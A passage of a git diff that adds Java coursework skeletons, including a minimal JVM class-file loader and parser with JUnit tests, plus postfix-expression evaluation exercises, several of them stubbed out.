+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group24/Homework/6-SixWeek/jvm/loader/ClassFileLoader.java b/group24/Homework/6-SixWeek/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..33185d8175
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group24/Homework/6-SixWeek/jvm/loader/ClassFileParser.java b/group24/Homework/6-SixWeek/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..a29d9572cd
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/loader/ClassFileParser.java
@@ -0,0 +1,62 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+		
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		return null;
+	}
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+		
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+		
+
+	}
+	
+}
diff --git a/group24/Homework/6-SixWeek/jvm/method/Method.java b/group24/Homework/6-SixWeek/jvm/method/Method.java
new file mode 100644
index 0000000000..b86c57ef90
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/method/Method.java
@@ -0,0 +1,80 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		return null;
+		
+	}
+
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group24/Homework/6-SixWeek/jvm/test/ClassFileloaderTest.java b/group24/Homework/6-SixWeek/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..f83d290e14
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,282 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    
+
+}
diff --git a/group24/Homework/6-SixWeek/jvm/test/EmployeeV1.java b/group24/Homework/6-SixWeek/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group24/Homework/6-SixWeek/jvm/util/Util.java b/group24/Homework/6-SixWeek/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/InfixToPostfix.java b/group24/Homework/7-SevenWeek/InfixToPostfix.java
new file mode 100644
index 0000000000..96a2194a67
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/InfixToPostfix.java
@@ -0,0 +1,14 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		
+		return null;
+	}
+	
+	
+
+}
diff --git a/group24/Homework/7-SevenWeek/PostfixExpr.java b/group24/Homework/7-SevenWeek/PostfixExpr.java
new file mode 100644
index 0000000000..dcbb18be4b
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/PostfixExpr.java
@@ -0,0 +1,18 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		return 0.0f;
+	}
+	
+	
+}
diff --git a/group24/Homework/7-SevenWeek/PostfixExprTest.java b/group24/Homework/7-SevenWeek/PostfixExprTest.java
new file mode 100644
index 0000000000..c0435a2db5
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group24/Homework/7-SevenWeek/README.txt b/group24/Homework/7-SevenWeek/README.txt
new file mode 100644
index 0000000000..6adfb7dc34
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/README.txt
@@ -0,0 +1,4 @@
+1. ���ֽ���ָ��ת��Ϊjava ���� ����Ҫʵ�ֵ��ࣺ CommandParser.java ���� 
+2. ʵ�����Ƶ�javap �����Ҫʵ�ֵ��ࣺClassFilePrinter.java
+3. ���ݽṹ�� ʵ��ǰ׺����ʽ����PrefixExpr.java �� ��׺����ʽ���� PostfixExpr.java 
+��׺����ʽת��׺����ʽ InfixToPostfix.java
\ No newline at end of file
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/AttributeInfo.java b/group24/Homework/7-SevenWeek/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/CodeAttr.java b/group24/Homework/7-SevenWeek/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..c4c0c4c6c5
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/attr/CodeAttr.java
@@ -0,0 +1,70 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {		
+		return cmds;
+	}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/LineNumberTable.java b/group24/Homework/7-SevenWeek/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..a31a1ff4d0
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/attr/LineNumberTable.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableItem.java b/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableTable.java b/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..14db5dca46
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,42 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/StackMapTable.java b/group24/Homework/7-SevenWeek/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/clz/AccessFlag.java b/group24/Homework/7-SevenWeek/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group24/Homework/7-SevenWeek/jvm/clz/ClassFile.java b/group24/Homework/7-SevenWeek/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..2a8dfb6123
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/clz/ClassFile.java
@@ -0,0 +1,102 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
